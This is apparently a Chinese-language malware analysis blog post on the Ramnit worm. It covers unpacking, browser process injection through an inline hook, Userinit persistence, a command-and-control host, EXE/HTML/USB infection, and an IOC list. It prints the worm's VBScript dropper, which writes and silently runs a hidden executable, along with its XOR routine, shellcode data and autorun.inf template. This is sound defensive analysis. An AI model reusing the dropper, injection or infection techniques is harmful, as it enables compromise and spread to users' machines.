概述
Ramnit病毒是一个相对古老的病毒,使用会感染系统内的exe和html文件,通过文件分发和U盘传播。
样本的基本信息
Verified: Unsigned
Link date: 19:02 2008/2/12
Company: SOFTWIN S.R.L.
Description: BitDefender Management Console
MachineType: 32-bit
MD5: FF5E1F27193CE51EEC318714EF038BEF
SHA1: B4FA74A6F4DAB3A7BA702B6C8C129F889DB32CA6
脱壳
这个样本有三层壳
第一层壳
使用PEiD查壳之后,发现加了一层upx壳
使用od载入,看到pushad,F8单步执行后,在ESP在值进行内存窗口跟随,设置硬件访问断点
F9继续,找到popad指令,删除硬件断点,F4执行到0042C1BB,F7进入
第二层壳
脱掉第一层UPX层之后,发现又一层壳
在VirtualAlloc处设置断点(此处借鉴了《加密与解密》第19章的内容)
F9断下来,发现分配了一个F000大小的缓冲区,Ctrl+F9执行到VirutalAlloc尾部,F8返回用户空间
Ctrl+F9,等待一段时间后(这个解密操作比较耗时),程序断在0040746D处,此时的栈顶为00932CA9,这个地址在刚才分配的内存段内,要进入解密后的代码执行了,F7进入
Ctrl+F9,等待一段时间,又解密了一段代码,程序断在009322AF处,此时栈顶是ZwFreeVirtualMemory,调用这个函数来释放刚才分配的内存,然后进入地址00411390执行(这是用户空间)
F7进入ZwFreeVirtualMemory,Ctrl+F9,F7进入00411390,发现了熟悉的pushad
第三层壳
第三层是upx壳
使用脱第一层壳的办法,设置硬件断点,最后跳到程序OEP
使用Ollydump脱壳
注入部分
脱壳后的dump文件的基本信息
Verified: Unsigned
Link date: 23:35 2010/7/18
MachineType: 32-bit
MD5: B3907AD34288854E26703E00BB835BC5
主函数
使用IDA Pro打开,主函数如下图所示。
首先从注册表中获取系统默认浏览器的路径
从注册表 HKEY_CLASSES_ROOT\http\shell\open\command 获取系统默认浏览器的路径,若该程序不存在的话,读取%ProgramFiles%\Internet Explorer\iexplore.exe来作为默认浏览器
创建名为KyUffThOkYwRRtgPP的互斥量,若存在同名的互斥量,关闭这个互斥量,退出。若新建互斥量成功,执行下面的操作。
获取当前文件的路径
CopySelfAndExec_402B89:若当前文件在可移动存储介质上 或 文件名为不为DesktopLayer.exe,在下面这些目录中找一个可写的目录,将自己拷贝过去,命名为DesktopLayer.exe,调用CreateProcess执行,然后退出
%CommonProgramFiles%\Microsoft\
%HOMEDRIVE%%HOMEPATH%\Microsoft\
%APPDATA%\Microsoft\
C:\Windows\System32\Microsoft\
C:\Windows\Microsoft\
%temp%\Microsoft\
%ProgramFiles%\Microsoft\
若当前文件不在U盘中且名为DesktopLayer.exe时,继续
GetAPIAddress_401848函数: 获取下面这些API的地址,给shellcode用
LdrLoadDll
LdrGetDllHandle
LdrGetProcedureAddress
RtlInitUnicodeString
RtlUnicodeStringToAnsiString
RtlFreeAnsiString
RtlInitString
RtlAnsiStringToUnicodeString
RtlFreeUnicodeString
ZwProtectVirtualMemory
RtlCreateUserThread
ZwFreeVirtualMemory
ZwDelayExecution
ZwQueryInformationProcess
之后 Hook ZwWriteVirtualMemory
调用CreateProcess打开默认浏览器或IE,这是一个傀儡进程,会被注入一个dll,后面会讲到
然后取消对ZwWriteVirtualMemory的hook
hook部分
下面分析一下hook的过程
首先挂起当前进程中除了主线程之外的其它线程,这是为保证线程安全
使用inlineHOOK的方式hook ZwWriteVirtualMemory函数
最后激活前面挂起的线程
inlineHOOK部分
首先使用GetProcAddress从ntdll.dll中获取ZwWriteVirtualMemory函数的地址
调用VirtualProtect修改内存访问权,将ZwWriteVirtualMemory地址的前10个字节访问权限修改为PAGE_EXECUTE_READWRITE
先创建一个跳板函数,用来实现原来函数的功能,因为后面要修改函数头5个字节:
获取从ZwWriteVirtualMemory地址开始至少5个字节的一段完整指令(因为不能把一条指令从中间截断),假设其大小为n(n>=5)
分配n+10大小的缓存区,假设地址为buf,用于构造跳板函数
将下面的内存拷贝到这段内存中,前5个字节在unhook中使用(unhook就是把这n个字节再拷贝回去)
ZwWriteVirtualMemory地址 4个字节
提取的ZwWriteVirtualMemory头部的指令长度n 1个字节
提取的ZwWriteVirtualMemory头部的指令 n个字节
JMP 0xE9 1个字节
偏移量 4个字节
上面这个偏移量是这样计算的
函数地址 + n - (buf + 5 + n + 5) = 函数地址 - buf - 10
buf+5为跳板函数的地址,跳板函数用于实现原来函数的功能
修改ZwWriteVirtualMemory地址的前5个字节,修改为
JMP 0xE9 1个字节
偏移量 4个字节 NewZwWriteVirtualMemory_402A59-(ZwWriteVirtualMemory的地址 + 5)
这样调用ZwWriteVirtualMemory,首先就jmp到NewZwWriteVirtualMemory_402A59处执行
要想使用原来函数的功能,使用跳板函数
下面分析一下这个NewZwWriteVirtualMemory_402A59函数
该函数首先调用跳板函数实现ZwWriteVirtualMemory的功能
获取浏览器进程的AddressOfEntryPoint
在目标进程空间中加载一个dll(拷贝PE头,各节)
向目标进程空间拷贝一段shellcode和传给shellcode参数
将下面这段指令拷贝到浏览器进程入口处,共计12个字节,这样浏览器进程启动就会执行这段shellcode
0xBF shellcode mov edi, shellcode ; 5个字节
0x68 param push param ; 5个字节
ff d7 call edi ; 2个字节
下面分析一下这段shellcode(va为0x401F5D)
这段shellcode的功能是加载上面注入的dll
首先加载dll所需的导入表,建立IAT表
然后遍历dll的节表,修改节的属性
最后执行dll的入口函数,并传入病毒的文件路径
调用ZwDelayExecution sleep(0x8000000000000000 ns),差不多一直等下去
下面分析这个dll的功能
dll部分
这个dll是内嵌在第一部分中的,rva为0x404031,文件偏移为0x4031,大小为0x9800
将其提取出来
样本的基本信息
Verified: Unsigned
Link date: 23:35 2010/7/18
MachineType: 32-bit
MD5: 651DEFC532F0E72BE60621696AA97972
SHA1: 43176A96322202FC8FD8901C213FDE820D005871
当加载dll时执行下面的逻辑
首先创建名为 KyUffThOkYwRRtgPP 的互斥量,防止双开
Init_10007B0A 执行一些初始化的工作,包括
初始化winsock库,解密字符串,获取系统驱动器、版本和时区信息,读取complete.dat文件,读取dlmconf.dat文件,将感染时间写入dlmconf.dat
complete.dat 里面存储一个列表,功能未知
dlmconf.dat 里面存储了三个时间,每次运行会更新第一个时间
创建了几个线程
线程SetAutoRun_10007ACA设置开机启动项,将DesktopLayer.exe文件路径链接到 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit的值后面(已存在,就不用),实现开机自启动,间隙1s检查一次
线程TestConnectState_10007626作用是测试网络的连通性,会尝试连接google.com:80或bing.com:80或yahoo.com:80
线程SaveTime_1000781F 把这三个全局变量SystemTimeAsFileTime dword_1000A237 dword_1000A233写入文件 dmlconf.dat中 dmlconf.dat 死循环 间隔1分钟
Thread_10005906 监听本地的4678端口,用于处理控制端的连接,应该是一个后门,这段代码不会执行
线程Thread_1000790C 向后台发送数据 fget-career.com 443并接收响应
没有分析清楚
Infect_1000749F 用于感染系统内的exe、html文件,在U盘创建autorun.inf方式感染
最后是一个死循环,间隔1s检查一下病毒母体是否存在,不存在的话,会一直循环下去,存在,跳出
下面重点分析一下感染部分
感染部分
进入Infect_1000749F
设置注册表HKEY_LOCAL_MACHINE\Software\WASAntido\disable=0
获取自系统启动以来的毫秒数,保存在一个全局变量中,这个用于后面生成随机数
从Imagehlp.dll中获取CheckSumMappedFile函数的地址,后面用于重新计算PE的checksum
读取病毒本体的内容,把PE的内容变成字符串,嵌入到一段VBScript脚本中,这段代码用于后续感染html文件
这个vbs的功能是在%temp%文件夹下释放并启动病毒母体,文件名为svchost.exe
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A...."
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
生成一段0x14=20长度的随机的字节,采用异或的方式加密文件内容
加解密的函数是同一个
// 加密或解密
void __stdcall XorData_10001D70(_BYTE *data, int data_size, int key, int key_size)
{
int v4; // ecx
int i; // edx
if ( data_size && key_size )
{
v4 = data_size;
i = 0;
do
{
if ( !i )
i = key_size - 1;
*data++ ^= *(_BYTE *)(i + key);
--i;
--v4;
}
while ( v4 );
}
}
接着创建了两个线程,用于感染感染固定驱动器或可移动存储介质
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qURrPcJl-1687662058360)(https://gitee.com/wlj2016/img_bed/raw/master/202306241017545.png)]
下面重点分析一个这两个线程
InfectDrives_10006EA8
线程的主体是个死循环
进入函数InfectDrives_100064E1,首先获取windows和system32路径,感染时会跳过这两个路径
遍历系统驱动器,若当前驱动器剩余大小大于512KB且固定驱动器或可移动存储介质,执行感染
进入函数InfectDir_10006377,递归遍历目录,跳过%windir%\system32、%windir%、名为RMNetwork目录,感染exe或html文件
进入InfectExeAndHtml_1000630C
通过文件后缀名来判断exe和html文件,执行感染
感染html文件
InfectHtml_10006AB2比较简单,若html文件大小大于9个字节,且最后9个字节不为</SCRIPT>,将前面构造好的vbs代码添加了html文件末尾
被感染的html文件
感染exe文件
首先打开要感染的exe目标文件,获取文件大小,若不是32位PE程序,或存在属性证书和CLR信息,跳过不感染
从PE的导入表中获取LoadLibraryA和GetProcAddress的IAT表项的va,(PE加载会填充IAT,从这儿获取API的地址)
计算shellcode的大小,0x1000749F-0x10006F2C=0x573
计算rmnet节的大小 病毒母体的大小+ shellcode的大小
修改PE头部,在节表最后,添加了一个名为rmnet的节,该节的位置在文件最末尾,将PE的OEP修改为rmnet节的起始位置
计算新的OEP和老的OEP的偏移(shellcode中使用,shellcode最终跳到老的OEP处执行)
计算LoadLibraryA和GetProcAddress的IAT表项与新的OEP的偏移(shellcode中使用,shellcode要从IAT中读取这两个API的地址)
把Shellcode和加密后的病毒自身依次写入rmnet节,
若原来PE的checksum不为0,重新计算PE文件的checksum
下面分析一下shellcode
shellcode的起始位置的VA为10006F2C,大小为0x573,分为代码部分和数据部分
首先获取OEP的地址,获取LoadLibraryA和GetProcAddress的地址,将这三个地址保存在数据部分
使用LoadLibraryA获得kernel32.dll的句柄,进而使用GetProcAddres获取下列这些API的地址
FreeLibrary
CreateMutexA
ReleaseMutex
CloseHandle
GetLastError
CreateFileA
WriteFile
GetModuleFileNameA
CreateProcessA
创建名为KyUffThOkYwRRtgPP的互斥量,然后关闭该互斥量对象
若存在同名的互斥量,将其关闭,退出
对病毒本体进行解密,密钥为先前加密使用的20字节的随机值
获取当前程序的路径,去掉后缀加上Srv.exe,构造一个新的文件名(病毒母体的文件名)
FileName = FileName[:FileName.rfind(".")]+"Srv.exe"
释放病毒母体
调用CreateProcess,启动病毒进程
最后是释放kernel32.dll的句柄,跳转到原始PE的OEP处执行
最后是shellcode的数据部分,保存着一些字符串和全局变量(读取gOldEntryPointOffset值可以还原原始文件的OEP,修复被感染的PE)
.text:10007248 lpNumberOfBytesWritten_10007248 dd 0 ; DATA XREF: ShellCode_10006F2C+27C↑o
.text:1000724C EntryPoint_1000724C dd 0 ; DATA XREF: ShellCode_10006F2C+15↑w
.text:1000724C ; ShellCode_10006F2C+2B↑r ...
.text:10007250 dword_10007250 dd 6 ; DATA XREF: ShellCode_10006F2C+F↑r
.text:10007254 gOldEntryPointOffset_10007254 dd 0 ; DATA XREF: InfectExeFile_1000678B+142↑w
.text:10007254 ; ShellCode_10006F2C+30F↑r
.text:10007258 ; HMODULE __stdcall LoadLibraryA_IAT_10007258(LPCSTR lpLibFileName)
.text:10007258 LoadLibraryA_IAT_10007258 dd 0 ; DATA XREF: InfectExeFile_1000678B+DB↑w
.text:10007258 ; InfectExeFile_1000678B+153↑r ...
.text:1000725C GetProcAddress_IAT_1000725C dd 0 ; DATA XREF: InfectExeFile_1000678B+F9↑w
.text:1000725C ; InfectExeFile_1000678B+161↑r ...
.text:10007260 gEncodeKeySize_10007260 dd 14h ; DATA XREF: ShellCode_10006F2C+205↑r
.text:10007260 ; Infect_1000749F+F7↓r ...
.text:10007264 ; char gEncodeKey_10007264[]
.text:10007264 gEncodeKey_10007264 db 0 ; DATA XREF: ShellCode_10006F2C:loc_10007138↑r
.text:10007264 ; Infect_1000749F+FD↓o ...
.text:10007265 align 4
.text:10007268 dd 4 dup(0)
.text:10007278 aKyuffthokywrrt_0 db 'KyUffThOkYwRRtgPP',0
.text:10007278 ; DATA XREF: ShellCode_10006F2C+1BB↑o
.text:1000728A aSrvExe db 'Srv.exe',0 ; DATA XREF: ShellCode_10006F2C+242↑o
.text:10007292 FileName_10007292 dw 0 ; DATA XREF: ShellCode_10006F2C+220↑o
.text:10007292 ; ShellCode_10006F2C+231↑o ...
.text:10007294 dd 3Fh dup(0)
.text:10007390 db 2 dup(0)
.text:10007392 lpStartupInfo_10007392 dw 0 ; DATA XREF: ShellCode_10006F2C+2A4↑o
.text:10007392 ; ShellCode_10006F2C+2C4↑o
.text:10007394 dd 10h dup(0)
.text:100073D4 db 2 dup(0)
.text:100073D6 lpProcessInformation_100073D6 dw 0 ; DATA XREF: ShellCode_10006F2C+2B3↑o
.text:100073D6 ; ShellCode_10006F2C+2BD↑o ...
.text:100073D8 dd 3 dup(0)
.text:100073E4 db 2 dup(0)
.text:100073E6 hKernel32_100073E6 dd 0 ; DATA XREF: ShellCode_10006F2C+83↑w
.text:100073E6 ; ShellCode_10006F2C+90↑r ...
.text:100073EA LoadLibraryA_100073EA dd 0 ; DATA XREF: ShellCode_10006F2C+39↑w
.text:100073EA ; ShellCode_10006F2C+60↑r ...
.text:100073EE FreeLibrary_100073EE dd 0 ; DATA XREF: ShellCode_10006F2C+A5↑w
.text:100073EE ; ShellCode_10006F2C+303↑r
.text:100073F2 GetProcAddress_100073F2 dd 0 ; DATA XREF: ShellCode_10006F2C+4D↑w
.text:100073F2 ; ShellCode_10006F2C+53↑r ...
.text:100073F6 CreateMutexA_100073F6 dd 0 ; DATA XREF: ShellCode_10006F2C+C7↑w
.text:100073F6 ; ShellCode_10006F2C+1C6↑r
.text:100073FA CloseHandle_100073FA dd 0 ; DATA XREF: ShellCode_10006F2C+10B↑w
.text:100073FA ; ShellCode_10006F2C+1DD↑r ...
.text:100073FE ReleaseMutex_100073FE dd 0 ; DATA XREF: ShellCode_10006F2C+E9↑w
.text:100073FE ; ShellCode_10006F2C+1D7↑r
.text:10007402 ; DWORD __stdcall GetLastError_10007402()
.text:10007402 GetLastError_10007402 dd 0 ; DATA XREF: ShellCode_10006F2C+12D↑w
.text:10007402 ; ShellCode_10006F2C+1CD↑r
.text:10007406 ; HANDLE __stdcall CreateFileA_10007406(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
.text:10007406 CreateFileA_10007406 dd 0 ; DATA XREF: ShellCode_10006F2C+14F↑w
.text:10007406 ; ShellCode_10006F2C+268↑r
.text:1000740A WriteFile_1000740A dd 0 ; DATA XREF: ShellCode_10006F2C+171↑w
.text:1000740A ; ShellCode_10006F2C+292↑r
.text:1000740E GetModuleFileNameA_1000740E dd 0 ; DATA XREF: ShellCode_10006F2C+193↑w
.text:1000740E ; ShellCode_10006F2C+229↑r
.text:10007412 ; BOOL __stdcall CreateProcessA_10007412(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
.text:10007412 CreateProcessA_10007412 dd 0 ; DATA XREF: ShellCode_10006F2C+1B5↑w
.text:10007412 ; ShellCode_10006F2C+2E0↑r
.text:10007416 aFreelibrary db 'FreeLibrary',0 ; DATA XREF: ShellCode_10006F2C+89↑o
.text:10007422 aCreatemutexa db 'CreateMutexA',0 ; DATA XREF: ShellCode_10006F2C+AB↑o
.text:1000742F aClosehandle db 'CloseHandle',0 ; DATA XREF: ShellCode_10006F2C+EF↑o
.text:1000743B aReleasemutex db 'ReleaseMutex',0 ; DATA XREF: ShellCode_10006F2C+CD↑o
.text:10007448 aGetlasterror db 'GetLastError',0 ; DATA XREF: ShellCode_10006F2C+111↑o
.text:10007455 aCreatefilea db 'CreateFileA',0 ; DATA XREF: ShellCode_10006F2C+133↑o
.text:10007461 aWritefile db 'WriteFile',0 ; DATA XREF: ShellCode_10006F2C+155↑o
.text:1000746B aGetmodulefilen db 'GetModuleFileNameA',0
.text:1000746B ; DATA XREF: ShellCode_10006F2C+177↑o
.text:1000747E aCreateprocessa db 'CreateProcessA',0 ; DATA XREF: ShellCode_10006F2C+199↑o
.text:1000748D aKernel32Dll_1 db 'kernel32.dll',0 ; DATA XREF: ShellCode_10006F2C+6D↑o
.text:1000749A gSelfFileSize_1000749A dd 0 ; DATA XREF: InfectExeFile_1000678B+14A↑w
.text:1000749A ; ShellCode_10006F2C+1EF↑r ...
.text:1000749E ; char shellcode_end_1000749E[]
.text:1000749E shellcode_end_1000749E db 1 ; DATA XREF: ShellCode_10006F2C+1D↑w
.text:1000749E ; ShellCode_10006F2C+1F5↑o ...
被感染exe文件,多了一个rmnet节
感染U盘
线程InfectUSB_10006EC2是用来感染U盘,遍历系统的驱动器,找到可移动存储介质
若存在autorun.inf文件,开头三个字节是否为RmN是的话表示已经被感染过,跳过
进入函数InfectUSB_10006BAF,将自身保存在U盘中,路径为X:\RECYCLER\随机路径名\8位随机字符.exe,隐藏目录RECYCLER
在U盘的根目录创建一个autorun.inf文件,内容为
RmN
[autorun]
action=Open
icon=%WinDir%\system32\shell32.dll,4
shellexecute=.\RECYCLER\随机路径名\8位随机字符.exe
shell\explore\command=.\RECYCLER\随机路径名\8位随机字符.exe
USEAUTOPLAY=1
shell\Open\command=.\RECYCLER\随机路径名\8位随机字符.exe
autorun.inf的图标为系统文件夹的icon
IOC
HASH
FF5E1F27193CE51EEC318714EF038BEF
B3907AD34288854E26703E00BB835BC5
651DEFC532F0E72BE60621696AA97972
文件
DesktopLayer.exe
*Srv.exe
%temp%\svchost.exe
浏览器根目录下
dlmconf.dat
complete.dat
U盘中存在 X:\RECYCLER\随机路径名\8位随机字符.exe
autorun.inf(以RmN开头)
注册表
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 里面有DesktopLayer.exe路径
HKEY_LOCAL_MACHINE\Software\WASAntido\disable=0
网络
fget-career.com:443
google.com:80
bing.com:80
yahoo.com:80
感染行为
exe文件多了一个名为rmnet的节
html文件末尾 有一段VBscript脚本
进程行为
创建浏览器进程,注入一个dll,浏览器没有窗口
互斥量
KyUffThOkYwRRtgPP
参考资料
- 学习笔记-Ramnit 蠕虫分析
- Ramnit感染型病毒创建傀儡进程的方法
- 天台人满为患,不如来看下这个Ramnit蠕虫分析
- 内核的ZwProtectVirtualMemory怎么使用, 总是失败
- Windows系统自带图标文件存储方式、存放位置、默认图标更改及使用方法全解析
- autorun.inf百度百科
- Ramnit感染病毒分析报告
- DesktopLayer.exe样本分析
- inline hook 原理&教程
- 说说JMP指令的跳转
- minhook